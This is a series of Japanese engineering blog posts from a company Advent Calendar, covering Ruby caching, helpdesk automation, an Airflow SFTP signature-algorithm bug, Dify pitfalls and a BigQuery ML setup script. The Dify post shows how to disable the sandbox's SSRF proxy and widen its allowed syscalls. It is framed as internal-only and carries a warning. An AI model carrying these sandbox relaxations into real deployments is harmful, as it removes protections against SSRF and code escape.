明日18日目はAIテクノロ ジー グループの吉田さんです。 https://cloud.google.com/workflows/pricing?hl=ja#price-tables ↩ https://cloud.google.com/composer/pricing?hl=ja#cloud-composer-pricing ↩ https://docs.cloud.google.com/workflows/docs/reference/googleapis ↩ https://docs.cloud.google.com/sdk/gcloud/reference/workflows ↩
WEBアプリケーションエンジニア の小松です! プロセス内キャッシュの挙動に馴染みがなかったので、どういう挙動なのか。 ネットワーク越しのキャッシュとの使い分け。 他言語との比較で Rails 特有の仕様なのかどうか。 という疑問が湧いたので調査し、それを記事にしました。 この記事は[ Enigmo Advent Calendar 2025 ]の16日目の記事です。   ローカルキャッシュとは何か 今回直面した疑問と調査内容 「ディスク IO を避けたいだけなら」プロセス内キャッシュが最も速い 実際に採用したコード Rails 特有の挙動 Rails サーバーが複数台ある場合の挙動 キャッシュとしての位置づけの違い この仕組みは Ruby 特有なのか Java Go PHP Node.js まとめ   ローカルキャッシュとは何か ローカルキャッシュとは、 Ruby プロセス内のメモリに値を保持し、同じプロセス内であれば何度呼び出されても再計算や再読み込みを行わない仕組みのことを指す。 Ruby では次の構文がある。 @config ||= YAML.load_file("config/settings.yml") この構文は最初の一回だけ YAML.load_file が実行され、以降はメモリに保持された @config が返される。 Rails プロセスが動いている限り、この値は保持され続ける。 今回直面した疑問と調査内容 実際に自分が直面した疑問は次のようなものだった。 Rails サーバーが複数ある場合、各プロセスごとにキャッシュされるということは、そもそも「キャッシュ」と言えるのか Memcached や Redis など外部キャッシュと比べて本当に速いのか 毎回 インスタンス 変数に保存するだけで高速化されるように見えるが、仕組みとして本当に正しいのか そもそもこれは Rails の仕様なのか、 Ruby の仕様なのか 他言語ではどう実現しているのか これらを順番に整理していった。 「ディスク IO を避けたいだけなら」プロセス内キャッシュが最も速い Rails .cache( Memcached /Redis)のキャッシュも高速だが、必ずネットワーク越しの通信が発生する。 クラウド 環境であれば数百マイクロ秒〜数ミリ秒のオーバーヘッドが加わる。 一方、プロセス内キャッシュは Ruby プロセスが持つメモリに直接アクセスするだけで、ネットワークもディスクも介さない。 最短経路でデータにアクセスできるという点では最速になる。 ただし、これは「ローカルに存在する静的データ」に限った話である。 更新頻度が高いデータには適さない。 実際に採用したコード 今回検討していたコードは次のような YAML 読み込み処理だった。 def contents(condition) yaml = YAML.load_file('config/item_cate_desc.yml') # 以下ロジック... end これでは毎回ファイルを読み込み、ディスク IO が発生するため遅い。 そこで、次のように改善した。 def item_cate_yaml @item_cate_yaml ||= YAML.load_file('config/item_cate_desc.yml') end この1行によって、「最初の一回だけ読み込む」処理に変わる。 後はメモリに保持され続けるため、各リクエストで読み込む必要がない。   Rails 特有の挙動 Rails のコントローラで インスタンス 変数を使っても、それはリクエストごとに新しく生成されるオブジェクトに所属するため、キャッシュとしては機能しない。 キャッシュとして効くのは、プロセスが生きている限り保持され続ける「クラス インスタンス 変数」や「クラス変数」の方である。 PHP のようにリクエスト終了時にプロセスが破棄される言語とは異なり、 Ruby (特に Rails のアプリサーバー)はプロセス常駐型のため、同じクラス インスタンス 変数へ複数リクエストがアクセスする構造になっている。 この違いが理解しづらく、PHPer には馴染みがなく疑ってすらいたので、 railsアプリではクラスインスタンス変数の注意する #Ruby - Qiita などの記事を参考にしてファクトチェックもしました。   Rails サーバーが複数台ある場合の挙動 ここについても疑問を持ったが、調べた結論は次のとおり。 各 Rails プロセス内で一度だけ読み込まれ、それぞれが独立してデータを保持する よってプロセスを跨いだ共有キャッシュではない ただし配置ファイル( YAML )が全サーバーで共通であれば問題はない プロセス間の同期は不要で、むしろ高速 「複数サーバーだからキャッシュが効かない」という誤解があるが、ローカルキャッシュは各プロセス単位で成立するため問題ない。 キャッシュとしての位置づけの違い データの性質に応じてどのキャッシュを選ぶべきか整理すると次のようになる。 種類 特徴 向いているケース プロセス内キャッシュ 最高速。プロセスごと独立。データ変更には弱い 設定ファイル、マスターデータ Rails .cache( Memcached /Redis) 共有キャッシュ。通信が必要 変更頻度がありサーバー間で共 通化 したいデータ DB キャッシュ 一貫性は高いが IO コストあり モデルデータ 今回のような静的な YAML データであれば、間違いなくプロセス内キャッシュが適している。 この仕組みは Ruby 特有なのか Ruby の ||= を使ったプロセス内キャッシュは極めて自然で扱いやすい。 もちろん他の言語でも似たことはできるが、次のように比較すると Ruby の簡潔さが際立つ。 Java static 変数+ダブルチェックロックなど同期処理が必要で、明らかにコードが冗長。 Go sync.Once を使う必要がある。 パッケージスコープの変数は設計上の制約も多い。 PHP そもそも 1 リクエスト 1 プロセスのため、プロセス内キャッシュという概念が成立しない。 APCu など外部拡張に頼る必要がある。 Node.js モジュールキャッシュにより Ruby に近い感覚で扱えるが、副作用の管理が必要で Ruby の手軽さとはやや異なる。 Ruby はプロセス常駐型で、かつクラス インスタンス 変数が自然にキャッシュとして機能するため、他の言語と比較して特に扱いやすい。   まとめ 今回の検討で分かったのは、次のような点である。 Ruby の @var ||= ... によるローカルキャッシュは、非常に手軽に使える最速のキャッシュ方式 複数サーバーでも問題なく、各プロセスが独立してキャッシュを保持する Memcached や Redis より速いのは、ネットワーク通信が一切ないため データの性質に応じてキャッシュ方式は使い分けるべき 他言語でも実現は可能だが、 Ruby ほど自然で簡潔な形にはならない 静的な設定データを高速化したい場面では、最初に検討すべき手法と言える。   明日17日目はAIテクノロ ジー グループの太田さんです。  
こんにちは、コーポレートエンジニア(コーポレートITチーム)の藤田です。 この記事は Enigmo Advent Calendar 2025 の15日目の記事です。 コーポレートIT(以下CO-IT)の業務において、地味ながらも非常に重要な「ヘルプデスク業務」についてお伝えします。 「どのようなツールを使って、どのようなフローで対応し、どうやってナレッジを残しているのか」 普段あまり表に出ることのない、運用の裏側をご紹介しようと思います。 自己紹介 なぜこの記事を書くのか エニグモのヘルプデスク構成要素 ヘルプデスク対応のフロー 運用における3つのこだわり 入り口の設計:「優しさ」と「セキュリティ」の両立 出口の設計:「個人の記憶」ではなく「組織の記録」へ 改善の設計:対応して終わりではなく「減らす」までが業務 今後の展望 おわりに 自己紹介 本題の前に少し自己紹介をさせていただきます。 私は今年3月に エニグモ に入社いたしました。 エニグモ へ入社する前は、鉄骨製作会社の 情報システム部門 で働いており、いわゆる「一人情シス」として働いていました。それ以前は システムエンジニア として開発業務に携わっていた経験があります。 なぜこの記事を書くのか 過去のAdvent Calendarでは、入社エントリーやチームビルディングに関する記事はありましたが、具体的な「CO-ITの業務内容」にフォーカスした記事はありませんでした。 そこで今回は、社内外の方に「 エニグモ のCO-ITって具体的にどんな業務をしているの?」を知っていただくため、主業務の一つであるヘルプデスクについて深掘りしてみたいと思います。 (他のCO-ITメンバーが作成した記事もぜひ目を通してみてください!) 過去の入社エントリー記事: 元SEがコーポレートエンジニアに転職してみた - エニグモ開発者ブログ チームビルディングに関する記事: enigmo(BUYMA運営企業)のコーポレートIT(社内SE・情シス)運営方法と将来像 - エニグモ開発者ブログ エニグモ のヘルプデスク構成要素 まず、問い合わせ対応に使用しているツールを紹介します。  Slackワークフロー : 問い合わせ受付からナレッジ化までのデータ入力インターフェース。 Google スプレッドシート : ログの集約・一時保管・ID管理 Zapier : ツール間の連携・自動化 Asana : タスク・ 進捗管理 ヘルプデスク対応のフロー 実際の問い合わせから完了までの流れは、以下のように自動化されています。 極力、人の手による「転記作業」をなくすように設計しています。 【User】 問い合わせ入力   ユーザーがSlackワークフローから問い合わせ内容を入力します。 【System】 自動起票・通知   問い合わせ内容が自動的に Google スプレッドシート へ転記されます。   同時にCO-ITの「問い合わせ対応チャンネル」に通知が飛びます。 【CO-IT】 担当者 アサイ ン   通知に対し、CO-ITメンバーが「担当します」ボタンをクリック。   Asanaのタスクに担当者名が自動入力されます。 【CO-IT】 対応・解決   実際の調査・対応を行います。 【System】 クロージング・ナレッジ化   対応完了後、Slackワークフローに対応内容を入力。   Asanaが「完了」ステータスに更新され、対応内容が記録されます。   最後に「問い合わせナレッジチャンネル」へ内容が自動投稿されます。 運用における3つのこだわり 入り口の設計:「優しさ」と「セキュリティ」の両立 問い合わせの入り口は、内容の性質に合わせて「オープン」と「プライベート」の2つのワークフローを用意しています。 オープン問い合わせ  用途:PCトラブルや仕様確認など、他のユーザーと共有しても有益な内容。 プライベート問い合わせ  用途:人事関与など、秘匿性の高い内容。 これにより、ユーザーは適切な窓口を選択することで、セキュリティと利便性を両立させています。 出口の設計:「個人の記憶」ではなく「組織の記録」へ ヘルプデスク業務において最も避けたい事態は、「 過去に同様の問い合わせがあったはずなのに、どう解決したか分からない 」という状況です。特に、退職したメンバーしか詳細を知らない案件などが ブラックボックス 化してしまうと、組織としての対応力は大きく低下してしまいます。それを解決するために、以下の2点の取り組みを行なっています。 あらゆる対応をナレッジ化する 突発的な相談や、日々のコミュニケーションの中で偶発的に発生した問い合わせに関しても、漏れなく記録・管理できる仕組みを整えています。「入り口」は柔軟に受け入れつつも、最終的にナレッジとして蓄積することで、情報の散逸を防いでいます。 自動的な情報の共有と蓄積 対応フローの最後に「問い合わせナレッジチャンネルへの自動投稿」を組み込んでいます。これにより、対応した担当者が不在でも、Slack上でキーワード検索をするだけで過去の類似事例や経緯を即座に引き出すことが可能になります。 「誰か一人が知っている」ではなく「組織全員がいつでも引き出せる」状態を作ること。これが エニグモ のヘルプデスクです。 改善の設計:対応して終わりではなく「減らす」までが業務 ただ問い合わせを捌くだけでは、業務は改善しません。 私たちは月に一度、チーム内で「問い合わせに関する会議」を実施しています。 ここでは、その月の問い合わせ件数の推移を確認するだけでなく、頻発した問い合わせ内容について深掘りを行います。「なぜその問い合わせが発生したのか」「根本解決のためにどのような対策が必要か」「今後は対応方針をどう変えるべきか」を議論し、再発防止や業務フローの改善につなげています。 今後の展望 次なるステップとして「AI活用」を見据えています。 具体的には、これまでに蓄積されたナレッジデータを学習データとして活用し、生成AIによる「一次回答の自動化」や、担当者への「類似回答のレコメンド」機能の実装などに挑戦していきたいと考えています。 問い合わせ対応のスピードと質をさらに向上させ、ユーザーにとっても解決までの時間を短縮できるような環境を目指します。 おわりに ヘルプデスク業務は、一般的に「雑用」や「誰でもできる仕事」と捉えられがちかもしれません。 しかし、 エニグモ ではこの業務に非常に力を入れています。なぜなら、私たちは「来た問い合わせをただ捌くこと」がゴールだとは考えていないからです。 問い合わせの内容を分析し、「 どのように問い合わせそのものを減らせるか 」「 ユーザーがストレスなく業務を行える環境を作れるか 」を追求し続けること。これこそが、 エニグモ におけるヘルプデスク業務のあり方だと考えています。 明日の記事の担当は アプリケーション開発グループ の 小松さんです。お楽しみに。
こんにちは!WEBアプリケーションエンジニアの小松です! 今まで主に EC サイトの WEB エンジニアとして仕事をしてきて、Airflow を触るようになったのは エニグモ に入社してからでした。 BUYMA では、広告媒体向けのフィード生成や外部パートナーとのデータ連携、在庫データの収集など、毎日大量に発生する バッチ処理 を Airflow に任せています。 人手では絶対に回せない規模なので、Airflow は影の立役者のような存在です。 そんな Airflow を動かしている基盤が Google Cloud Composer なのですが、 会社全体でオンプレサーバーから クラウド へ移行していく流れ の中で、Composer も新しいバージョンへ移し替えることになりました。 「まあ普通に移行できるだろう」と思っていたら、まさかの沼にハマってしまい…… 同じ罠に落ちる人が一人でも減りますように、という気持ちでこの記事を書いています。 この記事は[ Enigmo Advent Calendar 2025 ]の13日目の記事です。   結論(先に言います) 何が起きていたのか(時系列で紹介) ① Composer 移行後、SFTP アップロードだけエラー ② コマンド実行では成功する ③ Python(paramiko)でも成功する ④ 「Airflow からだけ接続できない」という地獄に突入 ⑤ 試行錯誤の果てに見えてきた「署名アルゴリズム問題」 ⑥ Airflow(Paramiko)は署名アルゴリズムを指定できない ⑦ Composer の paramiko を確認すると…古い! ⑧ Composer をアップグレード → 一発成功 技術的まとめ:今回の本質 回避策(原理上) 最後に:今回の教訓 結論(先に言います) Airflow の GCSToSFTPOperator が突然 SFTP 認証できなくなった原因は… Composer が入れている Paramiko のバージョンが古く、 RSA 署名 アルゴリズム がサーバーに拒否されたから。 つまり、 コマンドからは接続できる Python の Paramiko スクリプト でも接続できる でも Airflow からだけ認証エラーになる という、最悪に分かりづらい症状が発生していました。 何が起きていたのか(時系列で紹介) ① Composer 移行後、SFTP アップロードだけエラー Airflow 2 → Composer の新環境に移行した際、 GCSToSFTPOperator だけが謎の認証失敗。 ログにはこれだけ:   Bad authentication type; allowed types: [ 'publickey' ] 鍵は設定済みのはずなのに、Airflow だけ失敗。謎が深まる。 ② コマンド実行では成功する Docker コンテナに入り、   sftp - i pri .key sftp .host .com → 成功。 設定ミスではないと確信。 ③ Python (paramiko)でも成功する 「Airflow がダメなら paramiko 生で試すか」と思いテストコードを書くと… → 普通に成功。 つまり、Airflow 経由でのみ認証が弾かれている。 ④ 「Airflow からだけ接続できない」という地獄に突入 Airflow → SFTPHook → SSHHook → Paramiko このどこかが悪いのは確実だが、Extra の書式を変えても、パラメータを変えても改善しない。 Airflow のログは詳細な理由を出してくれない。 完全に暗闇の中を歩く状態。 ⑤ 試行錯誤の果てに見えてきた「署名 アルゴリズム 問題」 Docker の sftp でのみ発生していたエラー:   sign_and_send_pubkey: no mutual signature supported ここでようやく糸口が見えた。 サーバー: rsa -sha2-256/512 を要求 古い Paramiko: ssh - rsa ( SHA1 )署名を使ってしまう → サーバーが拒否 という構図。 ⑥ Airflow(Paramiko)は署名 アルゴリズム を指定できない OpenSSH のように   -PubkeyAcceptedAlgorithms =ssh-rsa といった強制は Paramiko では不可能。 つまり: Airflow から署名 アルゴリズム を変更するすべがない 古い Paramiko を使っている限り絶対に成功しない という仕様の問題。 ⑦ Composer の paramiko を確認すると…古い! Composer 内で   pip freeze | grep paramiko すると…… → 2.7 系(古い) → rsa -sha2 に未対応 原因が完全に確定。 ⑧ Composer をアップグレード → 一発成功 Composer の Airflow イメージをアップデートし、 Paramiko が 2.9+( rsa -sha2 デフォルト対応) に更新 その瞬間、 → GCSToSFTPOperator が何事もなく成功。 設定は一文字も変えていません。 完全にバージョン差の問題でした。 技術的まとめ:今回の本質 問題の本質はこれ: GCSToSFTPOperator → SFTPHook → Paramiko が SHA1 署名( ssh - rsa )しか使えず、外部サーバーが RSA -SHA2 を要求していたため認証が失敗した。 回避策(原理上) 方法 可能? 説明 Paramiko を 2.9+ にアップグレード ◎ 今回の完全解決策 key_file 形式で渡す △ Composer では鍵配置がやや面倒 RSA 鍵を SHA2 対応形式へ変換 ❌ 問題は鍵ではなくクライアント側 SFTP サーバーに設定変更を依頼 ❌ 外部企業のため不可能 最後に:今回の教訓 「Airflow だけ接続できない」→ Paramiko のバージョンをまず疑うべし Airflow のログは認証まわりが不親切で根本原因が見えづらい Composer は内部ライブラリが固定なので、移行時に“バージョン 差事 故”が起きやすい 結局のところ、問題の 9 割は Airflow が使っているライブラリのバージョン差 数日単位で調査し、無数のテストを書き、ようやく原因に辿り着いたので、この記事が誰かの時間を 30 分でも節約できたら嬉しいです。   明日12/14の記事はインフラエンジニア森田さんです。お楽しみに。
こんにちは、AIテクノロ ジー グループの辻埜です。 本記事は Enigmo Advent Calendar 2025 の12日目の記事です。 普段はデータサイエンティストとして 機械学習 を用いたシステムの開発運用や、社内のAI活用推進を担当しています。 近年、生成AIの活用が進む中で、 エニグモ でも社内のAI活用を推進するため、Difyという生成AIアプリ開発ツールを活用した取り組みを行っています。Difyは非エンジニアでもAIを組み込んだワークフローを簡単に構築できるツールです。 dify.ai 社内での導入初期に、使い勝手はどうか?どんな場面で有用か?を調査するため自分でも使ってみたところ、いくつかの課題に直面しました。 この記事では、実際にDifyを使ってワークフローを構築するにあたって苦労した点についてご紹介します。Difyを導入検討している方や、すでに使用している方の参考になれば幸いです。 なお、記事内でDifyのセキュリティ機能の変更について触れていますが、今回の用途としては完全に社内の一部ユーザーに閉じた環境での使用だったため、変更内容に問題がないと判断した上で実施しています。 外部に公開する場合や、不特定多数の利用者によって使用される場合は、セキュリティには十分ご注意ください。 前提(使用した環境) Difyのバージョン: 1.4.1 利用形態: セルフホスト版 実行環境: Compute Engine( GCP ) Difyでやったこと 今回構築したのは、 スプレッドシート から情報を読み込んで、外部 API で取得した情報と結合して、新しい スプレッドシート に出力するというワークフローです。 Difyではブロックという単位で機能を繋げていき、ワークフローを構築していきます。ブロックには様々な種類があり、IF/ELSE処理やLLMの呼び出し、RAGの実装まで GUI 上で簡単に構築ができます。 最初はそれらのブロックを組み合わせてワークフローを構築していたのですが、データをあれこれ変換しようとするとだんだんと標準ブロックだけでは対応が難しくなっていきました。 そんな私のようなわがままなケースに対応するため、Difyでは「コードブロック」を使用することで、 Python コードを実行して自由に処理をすることができます。普段コードを書いている身からすると、やりたいことをささっと記述して実現できるのでとても便利な機能でした。 コードブロックの落とし穴 少々複雑な処理もコードを使ってしまえば簡単にかけてしまうためとても便利なのですが、使っているとなかなか思うように使えず苦労するケースがいくつかでてきました。 1. エディタの機能が限定的 Difyのコードブロックは、ブラウザ上で動作する簡易的なエディタで、簡単な シンタックス ハイライトはあるものの、近年のエディタに搭載されているような各種機能は搭載されていません。 そのため、普段使っているエディタのショートカット機能などが使えない他、最近流行りのAIエディタのようなコード補完機能も使うことができませんでした。 どうしてもAIの力を借りたい時にはローカルのエディタでコードを書いてから、Difyにコピー&ペーストするという手間が発生しました。 2. 外部ライブラリを使う方法が難しい さらに使っていくと、外部ライブラリを使いたい時に簡単に導入することができないことに気づきました。 コードブロックではデフォルトでは実行環境に事前にインストールされているライブラリしか使用できず、使いたい外部ライブラリがある場合は自分で一手間加えて導入する必要があります。 ライブラリの指定 外部ライブラリを使うには、まず リポジトリ 内の ./docker/volumes/sandbox/dependencies にある python-requirements.txt にライブラリの追加をする必要があります。 書き方は通常の Python の requirements.txt と同じです。 pandas==2.3.3 gspread==6.2.1 システムコール の許可 python-requirements.txt の変更が完了したら、次に システムコール を許可する設定を行う必要があります。 Difyではセキュリティのため、デフォルトでは使用できる システムコール が制限されています。外部ライブラリを使おうとすると システムコール が呼び出せずエラーが発生するケースがあり、その際に対応が必要になります。 許可する システムコール は、 docker/volumes/sandbox/conf/ にある config.yaml の中で設定が可能です。 以下のように allowed_syscalls に許可する システムコール を追加することで、 システムコール を使用できるようになります。 allowed_syscalls: [0, 1, 2, 3, 4, 5, ..., 336] 外部ライブラリを使うハードルが想像以上に高く、この時点ですでに通常では想定されていない使い方をしてしまっているんだろうなと感じました。 3. コードブロックで外部への API アクセスができない 上記の設定で外部ライブラリは使用できるようになったものの、次は外部 API を呼び出す処理でネットワークエラーが発生しました。 Difyでは、コードブロックが実行される際には、外部と隔離された専用のSandbox環境(実体はコンテナ)内で実行されるため、安全に開発を進めることができます。エラー発生の状況から原因はそこが怪しいと推測し、調査を進めました。 ./docker/docker-compose.yaml をみてみると、 サンドボックス コンテナが ssrf_proxy_network という名前の専用のネットワークを使用していることがわかりました。 また、プロキシの情報を 環境変数 ( HTTP_PROXY と HTTPS_PROXY )で指定していることがわかりました。 # (一部抜粋) sandbox : environment : HTTP_PROXY : http://ssrf_proxy:3128 HTTPS_PROXY : http://ssrf_proxy:3128 networks : - ssrf_proxy_network 最終的に、他のコンテナで使われている default というネットワークを追加し、プロキシが使われないよう HTTP_PROXY と HTTPS_PROXY を コメントアウト することで、外部 API を呼び出すことができるようになりました。 # (一部抜粋) sandbox : environment : # HTTP_PROXY: http://ssrf_proxy:3128 # HTTPS_PROXY: http://ssrf_proxy:3128 networks : - ssrf_proxy_network - default # 追加 4. テストが書けない 通常のソフトウェア開発では、 単体テスト や統合テストを書くことで、コードの品質を担保し、 リファクタリング や機能追加を安全に行うことができます。一方でDifyのワークフローは、 GUI 上でブロックを配置して接続する形で構築するため、テストコードを記述できず、テスト フレームワーク を使って自動テストを実行することができませんでした。 一応ブロック単位で実行する機能があるため、一部の処理はその機能を活用して入出力を確認しました。しかし、入力がリスト形式の場合はうまくデータが渡せなかったり(本当はやり方があるのかもしれません)、前のブロックの入力が複雑な場合はそれを用意するのも大変なため、なかなか思うようにテストができませんでした。 最終的には実際にワークフローを実行して結果を目視で確認するしかなく、本当に自分の想定する挙動が実現できているのか、バグが仕込まれていないか、いつも以上に気を張って開発する必要がありました。 5. デバッグ が難しい さらに苦しかったのが、エラーが出た時の デバッグ の難しさです。 簡単なエラーであればエラーメッセージから問題の内容を読み取ることができすぐに解消できるのですが、使っているライブラリの中でエラーが出た場合や実行環境の問題でエラーが出た場合などは、エラーメッセージからは原因が読み取れず、print デバッグ 等もできなかったため、原因を特定するのにとても時間がかかりました。 具体的には、ワークフローがtimeoutで止まってしまうケースなどがありました。最終的には ロードバランサー の タイムアウト 設定が原因だったのですが、コードのどこで止まっているのか、なぜ止まっているのかもわからず、ログにも何も出力されないので、結局根本原因の特定までに1ヶ月近くを要しました。 6. ブロック間でのデータ受け渡しが難しい Difyのワークフローではブロック間でデータを受け渡すことができますが、データの受け渡し方法が独特でした。 コードブロックの出力としてはいくつか型を指定することができ、 String や Number 、 Array[Number] など基本的な型は使用できるようになっています。しかし、複雑な型を扱いたい場合には、 Object という型を指定して、 Python の辞書型に変換して受け渡す必要があります。 私の場合はPandasの DataFrame をコードブロック間で受け渡したかったのですが、これを Object として受け渡す必要があり、毎回 DataFrame 型から dict 型に変換しては戻すという余分な処理を入れなければいけませんでした。 さらに、ブロック間で受け渡しができるデータサイズや文字数、オブジェクトのネストの深さなどにも制約があり、これらを超える場合はエラーが発生してしまいます。 一部については上述の docker-compose.yaml ファイルや ./docker/.env ファイルなどをいじることで対応できるものもありますが、設定方法についてはドキュメントにも記載がなく、 ソースコード を読んだり リポジトリ のissueをあさって調べる必要がありました。 7. バージョン管理ができない 通常のソフトウェア開発では、Gitなどの バージョン管理システム を使用して、コードの変更履歴を管理します。 しかし、Difyのワークフローは、 GUI 上で構築されるため、Gitで直接管理することができませんでした。 Difyにも変更履歴機能があるのですが、一度セッションが切れてしまうと履歴が失われてしまうため、変更履歴をきちんと管理するには不十分でした。 対応策として、ワークフローのエクスポート機能を活用しました。定義したワークフローは DSL 形式で出力できるため、出力されたファイルをGitで管理することで擬似的にGitでのバージョン管理を実現しました。 毎回手動で行う必要があったり履歴の確認や復元に手間がかかるため、完全な再現とまでは行きませんが、少なくとも変更履歴を管理できたので大きく困ることはありませんでした。 さいごに この記事では、エンジニアの視点からDifyを使用した際に苦しんだ点についてご紹介しました。 データを加工するなどある程度複雑な処理を行う場合には、純粋にコードを書いてシステムとして構築する方が良いと感じました。 おそらく本来はコードブロックを多用するような使い方ではなく、基本的にはすでに用意されているブロックを組み合わせて使うような使い方を想定されているため、情報が少なかったり設定がしづらかったりするのだと思います。 一方で、社内では非エンジニアの方がDifyを使いこなしてチャットボットを作り込んでいる事例もあり、 GUI で簡単に生成AIを組み込んだワークフローが構築できるという点では非常に革新的なツールだと感じています。 利用者のニーズや用途に合わせて適切な場面で活用していきたいですね。 明日の記事の担当はエンジニアの小松さんです。お楽しみに! 参考文献 Introduction - Dify Docs Introduction to DifySandbox - Dify Blog 株式会社 エニグモ すべての求人一覧 hrmos.co
こんにちは、AIテクノロ ジー グループの竹田です。 本記事は Enigmo Advent Calendar 2025 の11日目の記事です。 本稿では、BigQueryで抽出したデータに対して「金額に関する記述が含まれているか」をAIで判定する方法を、段階的に進化させながら紹介します。 この記事を書いた背景 私は元々検索システムの運用保守やMLOpsの Ops 周りを担当していました。 しかし、ここ最近は生成AIが実用的なツールとして利用できるようになり、業務でもAIを活用した対応が急増しています。 そんな中で直面したのが、「BigQueryで抽出した大量のテキストデータに対して、AIで判定処理を行いたい」というニーズです。 最初は手動で試し、次第に自動化・効率化を進めていく中で、いくつかの実装パターンが見えてきました。 本記事では、その試行錯誤の過程を「段階的な進化」として整理し、それぞれのアプローチのメリット・デメリットを共有します。 なお、本稿では「金額に関する記述の判定」を例として取り上げていますが、この手法は他の様々な判定タスクにも応用可能です。 同じような課題に直面している方の参考になれば幸いです。 やりたいこと アンケートやレビューデータなど、テキストデータの中から「具体的な金額や価格に関する言及があるもの」だけを抽出したい!というシチュエーションを想定します。 例えば: - 「この製品の価格は10万円ですか?」 → Yes(金額の言及あり) - 「見た目の高級感に対する満足度は?」 → No(金額の言及なし) - 「製品の質感に対するニュアンスで高い評価はあるか?」 → No(金額の言及なし) こういった判定を、ルールベースだけでは難しいケースもあるので、AIの力を借りてやってみます。 アプローチ1: BigQueryコンソール → Spreadsheet → Gemini(手動) まずは一番シンプルな方法から。BigQueryでデータを抽出して、 Google スプレッドシート に保存し、Geminiを使って判定させる方法です。 Step 1: BigQueryでデータを抽出 BigQueryコンソールで以下のようなクエリを実行します。 SELECT t.original_text FROM ( SELECT ' この製品の価格は10万円ですか? ' AS original_text UNION ALL SELECT ' 見た目の高級感に対する満足度は? ' AS original_text UNION ALL SELECT ' 製品の質感に対するニュアンスで高い評価はあるか? ' AS original_text ) t; BigQueryコンソールでのクエリ実行 実行したら、「Save results」から スプレッドシート に保存します。 Step 2: スプレッドシート でGeminiを使う スプレッドシート に保存したら、右側のGeminiパネルを開いて、以下のようなプロンプトを投げます。 A列の文章に具体的な予算や価格帯を示す言葉が含まれていれば「Yes」、そうでなければ「No」のみ回答してください。 スプレッドシート でのGemini判定 Geminiが各行を判定してくれて、B列に結果が入ります。 この方法の課題 手動作業が多い :毎回クエリ実行→保存→Gemini実行という手順が必要 自動化が困難 :定期的に実行したい場合、かなり面倒 スケールしない :データ量が増えると手作業では限界がある ということで、次のステップに進みます! アプローチ2: BigQuery ML(BQ ML)で自動化 BigQuery MLを使えば、BigQueryの中から直接Geminiを呼び出せます。これで自動化の道が開けます! 実装 スクリプト 全体 以下の スクリプト で一気にセットアップできます。 実行前の注意事項  ・この スクリプト は、 GCP リソースの作成やIAM権限の変更を行います。  ・必ずご自身の責任の範囲内で実行してください。  ・ スクリプト は検証済みですが、 GCP プロジェクトの設定や権限状況により失敗する可能性があります。 前提条件:  ・ macOS 環境(または Linux 環境)で実行可能  ・ gcloud コマンドがインストール済みで、 GCP にログイン済みであること  ・対象の GCP プロジェクトで課金が有効化されていること  ・サービスアカウントへのIAMロール付与など、プロジェクトに対する十分な権限を持っていること  ・ bq コマンド、 jq コマンドがインストール済みであること 実行前の準備:  ・ スクリプト 内の PROJECT_ID="your_project_id" を、ご自身が管理する GCP プロジェクトIDに変更してください  ・必要に応じて、 CONNECTION_REGION や MODEL_DATASET_ID などの変数も環境に合わせて調整してください  ・エラーが発生した場合は、エラーメッセージを確認し、必要な権限やリソースが不足していないか確認してください 作成されるリソース:  ・BigQueryデー タセット ( llm_dataset )  ・BigQuery Connection( llm_connection_for_filtering )  ・BigQueryリモートモデル( gemini_flash )  ・IAMロール付与(BigQuery ConnectionのサービスアカウントにVertex AI User権限) #!/bin/bash export PROJECT_ID="your_project_id" export CONNECTION_REGION="US" export CONNECTION_NAME="llm_connection_for_filtering" export MODEL_DATASET_ID="llm_dataset" export MODEL_NAME="gemini_flash" echo "1. 必要なAPIを有効化します..." gcloud services enable \ aiplatform.googleapis.com \ bigquery.googleapis.com \ bigqueryconnection.googleapis.com \ --project=${PROJECT_ID} # データセットを作成 echo "2. BigQuery データセットを作成します..." bq show --dataset ${PROJECT_ID}:${MODEL_DATASET_ID} &>/dev/null || \ bq mk --dataset --location=${CONNECTION_REGION} ${PROJECT_ID}:${MODEL_DATASET_ID} # 接続を作成 echo "3. BigQuery接続 (Connection) を作成します..." bq mk --connection \ --connection_type=CLOUD_RESOURCE \ --project_id="${PROJECT_ID}" \ --location="${CONNECTION_REGION}" \ "${CONNECTION_NAME}" # サービスアカウントIDを取得 echo "4. 接続のサービスアカウントIDを取得します..." SERVICE_ACCOUNT_ID=$(bq show \ --connection \ --location="${CONNECTION_REGION}" \ --format=json "${PROJECT_ID}".${CONNECTION_REGION}."${CONNECTION_NAME}" 2>/dev/null| jq -r '.cloudResource.serviceAccountId') echo "取得したサービスアカウントID: ${SERVICE_ACCOUNT_ID}" # サービスアカウントにVertex AI Userロールを付与 echo "5. IAMロール (roles/aiplatform.user) を付与します..." gcloud projects get-iam-policy ${PROJECT_ID} \ --flatten="bindings[].members" \ --filter="bindings.role:roles/aiplatform.user AND bindings.members:${SERVICE_ACCOUNT_ID}" \ --format="value(bindings.role)" 2>&1 | grep -q "roles/aiplatform.user" >/dev/null 2>&1 if [ $? = 0 ]; then echo "roles/aiplatform.userは付与済みです。" else gcloud projects add-iam-policy-binding "${PROJECT_ID}" \ --member="serviceAccount:${SERVICE_ACCOUNT_ID}" \ --role="roles/aiplatform.user" --quiet fi echo "6. リモートモデルを定義します..." cat > remote_model_def.sql <<EOF CREATE OR REPLACE MODEL \`${PROJECT_ID}.${MODEL_DATASET_ID}.${MODEL_NAME}\` REMOTE WITH CONNECTION \`${PROJECT_ID}.${CONNECTION_REGION}.${CONNECTION_NAME}\` OPTIONS ( endpoint = 'gemini-2.5-flash' ); EOF bq query --project_id=${PROJECT_ID} --use_legacy_sql=false < remote_model_def.sql echo "7. ML.GENERATE_TEXTの実行と結果確認..." bq query --project_id=${PROJECT_ID} --use_legacy_sql=false --nouse_cache <<EOF SELECT t.original_text, JSON_EXTRACT_SCALAR(ml_generate_text_result, '$.candidates[0].content.parts[0].text') AS judgment_result FROM ML.GENERATE_TEXT( MODEL \`${PROJECT_ID}.${MODEL_DATASET_ID}.${MODEL_NAME}\`, ( SELECT t.original_text, CONCAT( '以下の文章に具体的な予算や価格帯を示す言葉が含まれていれば「Yes」、そうでなければ「No」のみ回答してください。文章: ', t.original_text ) AS prompt FROM ( SELECT 'この製品の価格は10万円ですか?' AS original_text UNION ALL SELECT '見た目の高級感に対する満足度は?' AS original_text UNION ALL SELECT '製品の質感に対するニュアンスで高い評価はあるか?' AS original_text ) AS t ), STRUCT(0.0 AS temperature, 1000 AS max_output_tokens) ) AS t EOF ポイント解説 BigQuery Connection の作成 BigQueryからVertex 